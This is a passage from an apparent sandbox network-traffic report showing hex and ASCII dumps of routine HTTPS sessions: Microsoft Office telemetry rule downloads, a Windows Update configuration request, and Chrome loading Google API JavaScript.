75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.6	49766	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:23 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 395fbb66-201e-003f-4179-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010723Z-16849878b78z2wx67pvzz63kdg00000002wg00000000dwgw x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.6	49767	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:23 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: 24b9edea-d01e-002b-4c3d-2625fb000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010723Z-17c5cb586f66g7mvbfuqdb2m3n000000049000000000efa3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.6	49769	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:23 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: b14e1d55-401e-0078-709c-274d34000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010723Z-17c5cb586f66g7mvbfuqdb2m3n00000004g00000000019gq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.6	49770	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:23 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: 51ccb76b-001e-0049-0a37-265bd5000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010723Z-16849878b78g2m84h2v9sta290000000038g000000007f6f x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.6	49771	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:23 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:23 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:23 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 39d89106-201e-003f-20a3-266d94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010723Z-16849878b7867ttgfbpnfxt44s000000041g00000000uapz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:23 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.6	49768	172.202.163.200	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:23 UTC	306	OUT	GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=fCffmR9T6p46NmN&MD=ZeOoucls HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33 Host: slscr.update.microsoft.com
2024-10-28 01:07:24 UTC	560	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: application/octet-stream Expires: -1 Last-Modified: Mon, 01 Jan 0001 00:00:00 GMT ETag: "XAopazV00XDWnJCwkmEWRv6JkbjRA9QSSZ2+e/3MzEk=_2880" MS-CorrelationId: 366d44c8-2377-434f-83d3-193681dff14e MS-RequestId: 51657bfe-c56f-4fef-8c35-9041534ffd22 MS-CV: YieaU+89nEuxMCL2.0 X-Microsoft-SLSClientCache: 2880 Content-Disposition: attachment; filename=environment.cab X-Content-Type-Options: nosniff Date: Mon, 28 Oct 2024 01:07:23 GMT Connection: close Content-Length: 24490
2024-10-28 01:07:24 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 92 1e 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 23 d0 00 00 14 00 00 00 00 00 10 00 92 1e 00 00 18 41 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 e6 42 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 78 cf 8d 5c 26 1e e6 42 43 4b ed 5c 07 54 13 db d6 4e a3 f7 2e d5 d0 3b 4c 42 af 4a 57 10 e9 20 bd 77 21 94 80 88 08 24 2a 02 02 d2 55 10 a4 a8 88 97 22 8a 0a d2 11 04 95 ae d2 8b 20 28 0a 88 20 45 05 f4 9f 80 05 bd ed dd f7 ff 77 dd f7 bf 65 d6 4a 66 ce 99 33 67 4e d9 7b 7f fb db 7b 56 f4 4d 34 b4 21 e0 a7 03 0a d9 fc 68 6e 1d 20 70 28 14 02 85 20 20 ad 61 10 08 e3 66 0d ed 66 9b 1d 6a 90 af 1f 17 f0 4b 68 35 01 83 6c fb 44 42 5c 7d 83 3d 03 30 be 3e ae be 58 Data Ascii: MSCFD#AdBenvironment.cabx\&BCK\TN.;LBJW w!$*U" ( EweJf3gN{{VM4!hn p( affjKh5lDB\}=0>X
2024-10-28 01:07:24 UTC	8666	IN	Data Raw: 04 01 31 2f 30 2d 30 0a 02 05 00 e1 2b 8a 50 02 01 00 30 0a 02 01 00 02 02 12 fe 02 01 ff 30 07 02 01 00 02 02 11 e6 30 0a 02 05 00 e1 2c db d0 02 01 00 30 36 06 0a 2b 06 01 04 01 84 59 0a 04 02 31 28 30 26 30 0c 06 0a 2b 06 01 04 01 84 59 0a 03 02 a0 0a 30 08 02 01 00 02 03 07 a1 20 a1 0a 30 08 02 01 00 02 03 01 86 a0 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 03 81 81 00 0c d9 08 df 48 94 57 65 3e ad e7 f2 17 9c 1f ca 3d 4d 6c cd 51 e1 ed 9c 17 a5 52 35 0f fd de 4b bd 22 92 c5 69 e5 d7 9f 29 23 72 40 7a ca 55 9d 8d 11 ad d5 54 00 bb 53 b4 87 7b 72 84 da 2d f6 e3 2c 4f 7e ba 1a 58 88 6e d6 b9 6d 16 ae 85 5b b5 c2 81 a8 e0 ee 0a 9c 60 51 3a 7b e4 61 f8 c3 e4 38 bd 7d 28 17 d6 79 f0 c8 58 c6 ef 1f f7 88 65 b1 ea 0a c0 df f7 ee 5c 23 c2 27 fd 98 63 08 31 Data Ascii: 1/0-0+P000,06+Y1(0&0+Y0 00*HHWe>=MlQR5K"i)#r@zUTS{r-,O~Xnm[`Q:{a8}(yXe\#'c1

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.6	49772	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:24 UTC	192	OUT	GET /rules/rule120649v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:24 GMT Content-Type: text/xml Content-Length: 416 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:21 GMT ETag: "0x8DC582BAEA4B445" x-ms-request-id: a1cd263b-b01e-0070-5f2a-271cc0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010724Z-16849878b78j5kdg3dndgqw0vg000000060g00000000c485 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:24 UTC	416	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 46 66 5d 5b 45 65 5d 5b 44 64 5d 5b 4f 6f 5d 5b 52 72 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120649" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <SR T="2" R="^([Ff][Ee][Dd][Oo][Rr][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="tr

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.6	49775	13.107.246.60	443

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:24 UTC	192	OUT	GET /rules/rule120650v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-28 01:07:24 UTC	491	IN	HTTP/1.1 200 OK Date: Mon, 28 Oct 2024 01:07:24 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989EE75B" x-ms-request-id: 18fe904c-c01e-00a1-4257-277e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241028T010724Z-16849878b78sx229w7g7at4nkg00000002m0000000007shc x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-28 01:07:24 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 35 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120650" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120649" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.6	49774	142.250.186.142	443	6108	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 01:07:24 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-10-28 01:07:24 UTC	915	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Sun, 27 Oct 2024 20:35:00 GMT Expires: Mon, 27 Oct 2025 20:35:00 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 16344 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-10-28 01:07:24 UTC	463	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 74 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 Data Ascii: totype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retu
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 61 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 Data Ascii: ar b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.as
2024-10-28 01:07:24 UTC	1378	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 